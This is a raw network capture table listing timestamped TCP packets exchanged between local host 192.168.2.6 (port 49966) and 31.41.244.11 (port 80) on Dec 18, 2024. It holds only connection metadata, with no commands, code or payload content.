Dec 18, 2024 11:09:47.605262995 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.606080055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.606139898 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.606201887 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.606249094 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.606950998 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.607006073 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.607043982 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.607090950 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.607899904 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.607954025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.607955933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.608000994 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.608853102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.608906984 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.608957052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.609004974 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.609844923 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.609898090 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.609951019 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.610830069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.610887051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.611268044 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.611326933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.611963987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.612020969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.612059116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.612106085 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.612952948 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.613003969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.613066912 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.613112926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.613970995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.614022970 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.614097118 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.614146948 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.614990950 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.615046024 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.615046978 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.615093946 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.615991116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.616041899 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.616120100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.616168976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.617022038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.617078066 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.617177963 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.617228031 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.618129015 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.618174076 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.618247986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.618295908 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.619095087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.619144917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.619266987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.619323969 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.620115995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.620162964 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.620214939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.620263100 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.621145010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.621196032 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.621290922 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.621337891 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.622222900 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.622273922 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.622277021 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.622317076 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.623251915 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.623303890 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.623368025 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.623414993 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.624241114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.624291897 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.624445915 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.624495029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.625258923 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.625308990 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.626215935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.626267910 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.626343012 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.626378059 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.626390934 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.626431942 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.627351046 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.627402067 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.627487898 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.627536058 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.628353119 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.628401995 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.628803968 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.628849030 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.629518032 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.629568100 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.629571915 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.629621983 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.630471945 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.630521059 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.630541086 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.630590916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.631439924 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.631489038 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.631674051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.631721973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.632235050 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.632283926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.632358074 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.632405043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.633241892 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.633290052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.633351088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.633397102 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.634255886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.634305000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.634638071 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.634685993 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.635296106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.635349035 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.773387909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.773407936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.773473024 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.773802996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.773845911 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.773979902 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.774025917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.774629116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.774672031 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.774820089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.775084019 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.775681973 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.775726080 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.776011944 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.776052952 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.776757002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.776869059 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.777522087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.777693987 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.777714968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.777755976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.778163910 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.778208017 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.778783083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.778794050 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.778831005 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.779866934 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.779932022 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.780015945 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.780066967 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.781085014 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.781138897 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.781547070 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.781644106 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.782146931 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.782188892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.782325983 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.782402992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.782893896 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.782934904 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.783080101 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.783123016 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.783946991 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.784013033 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.784410000 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.784569979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.785033941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.785044909 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.785073042 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.785089970 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.785681009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.785887957 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.786209106 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.786250114 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.787146091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.787219048 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.788202047 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.788213015 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.788242102 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.788672924 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.788711071 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.789172888 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.789243937 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.789294958 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.789328098 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.790215969 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.790354013 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.790523052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.790569067 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.791120052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.791131020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.791169882 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.791297913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.791338921 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.791476011 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.791523933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.792283058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.792325020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.793039083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.793145895 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.793359995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.793370962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.793412924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.794373989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.794418097 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.794835091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.794895887 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.795439959 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.795449972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.795486927 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.796437979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.797482014 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.797492981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.797523975 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.798135996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.798496962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.798507929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.798542976 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.798561096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.799516916 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.799675941 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.799719095 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.800602913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.800614119 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.800652981 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.803132057 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.803389072 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.804727077 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.804790020 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.804877043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.804888010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.804898024 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.804913998 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.804919004 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.804975033 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.805830002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.805876970 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.805918932 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.805991888 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.806615114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.806673050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.807060003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.807189941 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.807849884 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.807863951 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.807895899 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.807926893 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.808732986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.808842897 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.808897972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.808947086 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.809716940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.809736013 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.809762955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.809776068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.810647964 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.810715914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.811110020 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.811173916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.811883926 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.811896086 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.811938047 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.812767029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.812881947 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.812927961 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.812978029 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.813884974 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.813937902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.814071894 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.814116001 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.814897060 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.814940929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.815047026 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.815179110 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.815984964 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.816020966 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.816056967 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.816056967 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.816939116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.817028999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.817742109 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.817790985 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.817890882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.817938089 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.818176985 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.818478107 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.818974018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.819156885 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.819214106 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.820086002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.820389032 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.820447922 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.821190119 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.821228981 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.821281910 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.822110891 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.822263002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.822316885 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.823029041 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.823504925 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.823515892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.823544979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.824105024 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.824155092 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.824410915 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.824461937 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.825172901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.825226068 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.825455904 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.825505018 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.826164007 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.826212883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.826304913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.826354027 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.827172995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.827244043 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.964629889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.964696884 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.964787006 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.964854002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.964951038 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.965001106 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.965456009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.965508938 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.965625048 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.966471910 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.966521025 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.966573000 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.967462063 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.967511892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.967588902 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.967638016 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.968596935 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.968704939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.968756914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.969607115 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.969703913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.969769001 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.970585108 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.970637083 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.970794916 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.971513033 CET	49966	80	192.168.2.6	31.41.244.11
